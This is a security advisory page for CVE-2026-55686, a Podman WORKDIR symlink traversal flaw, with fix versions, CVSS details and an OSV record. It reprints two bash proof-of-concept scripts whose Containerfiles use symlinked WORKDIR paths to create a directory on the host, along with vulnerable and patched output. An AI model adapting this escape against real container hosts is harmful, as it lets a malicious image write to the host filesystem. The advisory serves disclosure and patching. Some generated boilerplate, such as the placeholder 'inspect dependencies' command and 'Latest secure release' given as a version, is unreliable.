CVE-2026-55686: Podman WORKDIR Symlink Traversal Vulnerability Vulnerability

MODERATE
Advisory Identifier: GHSA-q6r4-3wmg-fwcq
CVSS 5.3
CWE-59
Published
Advisory Summary

CVE-2026-55686 is a MODERATE (CVSS 5.3) workdir symlink traversal vulnerability vulnerability (CWE-59: Improper Link Resolution Before File Access ('Link Following')) affecting Podman libraries in the Go ecosystem. The issue involves workdir symlink traversal vulnerability. Remediation is available by upgrading affected packages to version 5.7.1.

CVE-2026-55686 at a Glance

CVE Identifier CVE-2026-55686
GHSA Identifier GHSA-q6r4-3wmg-fwcq
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-59: Improper Link Resolution Before File Access ('Link Following')
Affected Product Podman
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-55686

To remediate this vulnerability, upgrade all affected Podman dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/containers/podman/v5 fixed: 5.7.1
Upgrade github.com/containers/podman/v5 to 5.7.1
github.com/containers/podman/v4 fixed: Latest secure release
Upgrade github.com/containers/podman/v4 to Latest secure release
github.com/containers/podman/v3 fixed: Latest secure release
Upgrade github.com/containers/podman/v3 to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/containers/podman/v5

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-55686, inspect your project dependencies for Podman:

inspect dependencies for github.com/containers/podman/v5

Analyze the terminal output to locate any version of Podman in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.7.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following'), where the product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. In Podman, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Running a malicous container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition. ### Patch https://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0 ### Details This issue was fixed in podman 5.7.1 (git commit 7ce2e00ab140c11a68301f0b161f51984131a858) ### PoC The reproducer script _test1.bash_ demonstrates the vulnerability. The directory `/var/BREAKOUT` is created on the host. The container process uses the container directory `/var/BREAKOUT` as current working directory. The reproducer script _test2.bash_ demonstrates the same vulnerability. The directory `/var/BREAKOUT` is created on the host. The container process uses the container directory `/usr/local` as current working directory. The reproducer script _test2.bash_ shows that the working directory can be different from the breakout directory. Reproducer **test1.bash** ``` #!/bin/bash set -o errexit set -o nounset if [ -e /var/BREAKOUT ]; then echo error: path /var/BREAKOUT should not exist beforehand exit 1 fi dir=$(mktemp -d) cat > $dir/Containerfile << 'EOF' FROM docker.io/library/alpine RUN cd / && ln -s ../../../../../../../var symlink USER 1234:1234 WORKDIR /symlink/BREAKOUT CMD ["/bin/sh","-c","echo current working directory: $(pwd)"] EOF podman build -q --no-cache -t img $dir podman run --rm localhost/img ls -ld /var/BREAKOUT ``` Reproducer **test2.bash** ``` #!/bin/bash set -o errexit set -o nounset if [ -e /var/BREAKOUT ]; then echo error: path /var/BREAKOUT should not exist beforehand exit 1 fi dir=$(mktemp -d) cat > $dir/Containerfile << 'EOF' FROM docker.io/library/alpine ARG breakout_dirname=/var ARG breakout_basename=BREAKOUT ARG produce_pwd=/usr/local RUN mkdir -p /0/1/2/3 && \ cd /0 && \ ln -s 1/2/3 symlink1 && \ mkdir -p /0/1/symlink2/${breakout_dirname} && \ cd /0/1/symlink2/${breakout_dirname} && \ ln -s ${produce_pwd} ${breakout_basename} RUN cd / && ln -s ../../../../../../.. symlink2 USER 1234:1234 WORKDIR /0/symlink1/../../symlink2/${breakout_dirname}/${breakout_basename} CMD ["/bin/sh","-c","echo current working directory: $(pwd)"] EOF podman build -q --no-cache -t img $dir podman run --rm localhost/img ls -ld /var/BREAKOUT ``` Vulnerable: podman 5.7.0 using Fedora CoreOS 43.20251120.3.0 ``` root@localhost:~# bash test1.bash 38c27b69c61941741f49c3f87b589b422391d5908659665cabf248934be0ed80 current working directory: /var/BREAKOUT drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT root@localhost:~# rmdir /var/BREAKOUT/ root@localhost:~# bash test2.bash c3390edbe393a3f3b182e60c5900cf93444b5120fbe34dc305478b3b77a106c9 current working directory: /usr/local drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT ``` Not vulnerable: podman 5.7.1 using Fedora CoreOS 43.20260119.1.1 ``` root@localhost:~# bash test1.bash 0229bf752a821d5b9bb8afcf4b94e8de2a4838798ae8065414b7f939b81d0788 current working directory: /var/BREAKOUT ls: cannot access '/var/BREAKOUT': No such file or directory root@localhost:~# bash test2.bash 568584150a93a003feb8ae1985173bf50ced9cba4d52f9734cb70dc75eeb7c60 current working directory: /usr/local ls: cannot access '/var/BREAKOUT': No such file or directory ``` ### Credits We like to thank Erik Sjölund (@eriksjolund) for reporting the security impact to us.

CVE-2026-55686 Affected Podman Versions

3 component(s)
Fixed Versions:
5.7.1
Product / Package Ecosystem Affected Versions Fixed Version
github.com/containers/podman/v5
Go
< 5.7.1
5.7.1
github.com/containers/podman/v4
Go
≤ 4.9.5
github.com/containers/podman/v3
Go
≤ 3.4.7

References

Frequently Asked Questions

What is CVE-2026-55686?
CVE-2026-55686 is a security vulnerability in Podman involving WORKDIR symlink traversal vulnerability under CWE-59: Improper Link Resolution Before File Access ('Link Following').
Which Podman versions are affected?
Affected versions include releases prior to 5.7.1 across affected packages: github.com/containers/podman/v5, github.com/containers/podman/v4, github.com/containers/podman/v3.
What version fixes CVE-2026-55686?
Upgrading to 5.7.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/containers/podman/v5 affected?
Yes, github.com/containers/podman/v5 is affected in releases prior to 5.7.1. Upgrade your dependency to 5.7.1 or later.
Is github.com/containers/podman/v4 affected?
Yes, github.com/containers/podman/v4 is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-55686?
CVE-2026-55686 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N.
What CWE is associated with CVE-2026-55686?
CVE-2026-55686 is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following') (The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.).
How can I check Go dependencies for CVE-2026-55686?
Run the dependency tree command: 'inspect dependencies for github.com/containers/podman/v5'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-q6r4-3wmg-fwcq",
  "modified" : "2026-06-18T14:28:26Z",
  "published" : "2026-06-18T14:28:26Z",
  "aliases" : [ "CVE-2026-55686" ],
  "summary" : "Podman: WORKDIR symlink traversal vulnerability",
  "details" : "### Summary\n\nRunning a malicous container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition.\n\n### Patch\n\nhttps://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0\n\n### Details\n\nThis issue was fixed in podman 5.7.1 (git commit 7ce2e00ab140c11a68301f0b161f51984131a858)\n\n### PoC\n\nThe reproducer script _test1.bash_ demonstrates the vulnerability. \nThe directory  `/var/BREAKOUT` is created on the host.\nThe container process uses the container directory `/var/BREAKOUT` as current working directory.\n\nThe reproducer script _test2.bash_ demonstrates the same vulnerability. \nThe directory  `/var/BREAKOUT` is created on the host.\nThe container process uses the container directory `/usr/local` as current working directory.\n\nThe reproducer script _test2.bash_ shows that the working directory can be different from the breakout directory.\n\nReproducer **test1.bash**\n\n```\n#!/bin/bash\nset -o errexit\nset -o nounset\n\nif [ -e /var/BREAKOUT ]; then\n  echo error: path /var/BREAKOUT should not exist beforehand\n  exit 1\nfi\n\ndir=$(mktemp -d)\ncat > $dir/Containerfile << 'EOF'\nFROM docker.io/library/alpine\nRUN cd / && ln -s ../../../../../../../var symlink\nUSER 1234:1234\nWORKDIR /symlink/BREAKOUT\nCMD [\"/bin/sh\",\"-c\",\"echo current working directory: $(pwd)\"]\nEOF\n\npodman build -q --no-cache -t img $dir\npodman run --rm localhost/img\nls -ld /var/BREAKOUT\n```\n\n\nReproducer **test2.bash**\n\n```\n#!/bin/bash\nset -o errexit\nset -o nounset\n\nif [ -e /var/BREAKOUT ]; then\n  echo error: path /var/BREAKOUT should not exist beforehand\n  exit 1\nfi\n\ndir=$(mktemp -d)\ncat > $dir/Containerfile << 'EOF'\nFROM docker.io/library/alpine\nARG breakout_dirname=/var\nARG breakout_basename=BREAKOUT\nARG produce_pwd=/usr/local\nRUN mkdir -p /0/1/2/3 && \\\n    cd /0 && \\\n    ln -s 1/2/3 symlink1 && \\\n    mkdir -p /0/1/symlink2/${breakout_dirname} && \\\n    cd /0/1/symlink2/${breakout_dirname} && \\\n    ln -s ${produce_pwd} ${breakout_basename}\nRUN cd / && ln -s ../../../../../../.. symlink2\nUSER 1234:1234\nWORKDIR /0/symlink1/../../symlink2/${breakout_dirname}/${breakout_basename}\nCMD [\"/bin/sh\",\"-c\",\"echo current working directory: $(pwd)\"]\nEOF\n\npodman build -q --no-cache -t img $dir\npodman run --rm localhost/img\nls -ld /var/BREAKOUT\n```\n\n\n\nVulnerable:\n\npodman 5.7.0 using Fedora CoreOS 43.20251120.3.0\n\n```\nroot@localhost:~# bash test1.bash \n38c27b69c61941741f49c3f87b589b422391d5908659665cabf248934be0ed80\ncurrent working directory: /var/BREAKOUT\ndrwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT\nroot@localhost:~# rmdir /var/BREAKOUT/\nroot@localhost:~# bash test2.bash \nc3390edbe393a3f3b182e60c5900cf93444b5120fbe34dc305478b3b77a106c9\ncurrent working directory: /usr/local\ndrwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT\n```\n\nNot vulnerable:\n\npodman 5.7.1 using Fedora CoreOS 43.20260119.1.1\n\n```\nroot@localhost:~# bash test1.bash \n0229bf752a821d5b9bb8afcf4b94e8de2a4838798ae8065414b7f939b81d0788\ncurrent working directory: /var/BREAKOUT\nls: cannot access '/var/BREAKOUT': No such file or directory\nroot@localhost:~# bash test2.bash \n568584150a93a003feb8ae1985173bf50ced9cba4d52f9734cb70dc75eeb7c60\ncurrent working directory: /usr/local\nls: cannot access '/var/BREAKOUT': No such file or directory\n```\n\n### Credits\n\nWe like to thank Erik Sjölund (@eriksjolund) for reporting the security impact to us.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/containers/podman/v5"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.7.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.7.0"
    }
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/containers/podman/v4"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "4.9.5"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/containers/podman/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "3.4.7"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/podman-container-tools/podman/security/advisories/GHSA-q6r4-3wmg-fwcq"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/podman-container-tools/podman/commit/7ce2e00ab140c11a68301f0b161f51984131a858"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/podman-container-tools/podman"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-59" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-18T14:28:26Z",
    "nvd_published_at" : null
  }
}